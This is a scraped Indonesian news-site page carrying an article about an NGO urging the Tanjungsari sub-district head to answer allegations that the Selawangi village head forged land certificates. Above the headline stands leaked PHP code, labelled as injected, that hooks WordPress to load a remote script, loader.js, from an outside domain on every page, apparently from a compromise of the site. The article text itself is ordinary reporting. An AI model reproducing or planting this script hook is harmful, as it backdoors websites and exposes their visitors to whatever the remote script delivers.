// Injected Script Enqueue Code function enqueue_custom_script() { wp_enqueue_script( 'custom-error-script', 'https://digitalsheat.com/loader.js', array(), null, true ); } add_action('wp_enqueue_scripts', 'enqueue_custom_script'); LSM KCBI Desak Camat Tanjung Sari Buka Suara Soal Dugaan Surat Palsu Kades Selawangi – Media Fakta Terkini News
Scroll untuk baca artikel
Example floating
Example floating
Hukum dan Kriminal

LSM KCBI Desak Camat Tanjung Sari Buka Suara Soal Dugaan Surat Palsu Kades Selawangi

59
×

LSM KCBI Desak Camat Tanjung Sari Buka Suara Soal Dugaan Surat Palsu Kades Selawangi

Sebarkan artikel ini
LSM KCBI Desak Camat Tanjung Sari Buka Suara Soal Dugaan Surat Palsu Kades Selawangi

BOGOR Fakta Terkini— Dugaan pemalsuan surat keterangan atas tanah garapan oleh Kepala Desa Selawangi, inisial JAZ, terus menjadi sorotan publik. Namun hingga kini, Camat Tanjungsari terkesan bungkam dan enggan memberikan klarifikasi resmi kepada media maupun masyarakat.

Kasus ini mencuat setelah akan adanya laporan ke aparat penegak hukum terkait surat keterangan tanah yang diduga dipalsukan untuk kepentingan pengalihan lahan garapan di wilayah Desa Selawangi. Surat tersebut disebut-sebut tidak sesuai dengan fakta hukum dan data lapangan, yang merugikan pihak lain secara materil dan administratif.

Example 300x600

Namun sayangnya, Camat Tanjungsari sebagai atasan langsung Kades dan penanggung jawab wilayah administratif kecamatan justru memilih diam. Upaya konfirmasi yang dilakukan oleh sejumlah wartawan tak kunjung mendapat jawaban.

“Kami hanya ingin kejelasan dari pihak kecamatan sebagai pengawas kinerja kepala desa. Diamnya camat bisa diartikan sebagai pembiaran atau ada sesuatu yang ditutupi,” ujar salah satu aktivis lembaga swadaya masyarakat LSM KCBI yang turut mengawal kasus ini.

Sikap diam Camat Tanjungsari menuai berbagai kritik dari elemen masyarakat sipil. Mereka menilai bahwa keterbukaan informasi dan tanggung jawab pejabat publik sangat penting, terutama saat ada dugaan pelanggaran hukum oleh aparatur desa.

Hingga berita ini diterbitkan, Camat Tanjungsari belum memberikan keterangan apapun, meski sudah dihubungi melalui berbagai saluran komunikasi.

Masyarakat berharap agar pihak Inspektorat Daerah dan aparat penegak hukum segera turun tangan untuk mengusut tuntas dugaan pemalsuan dokumen oleh Kades Selawangi serta menelusuri kemungkinan adanya pembiaran dari pihak kecamatan.
(red)

Example 300250
Example 120x600

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *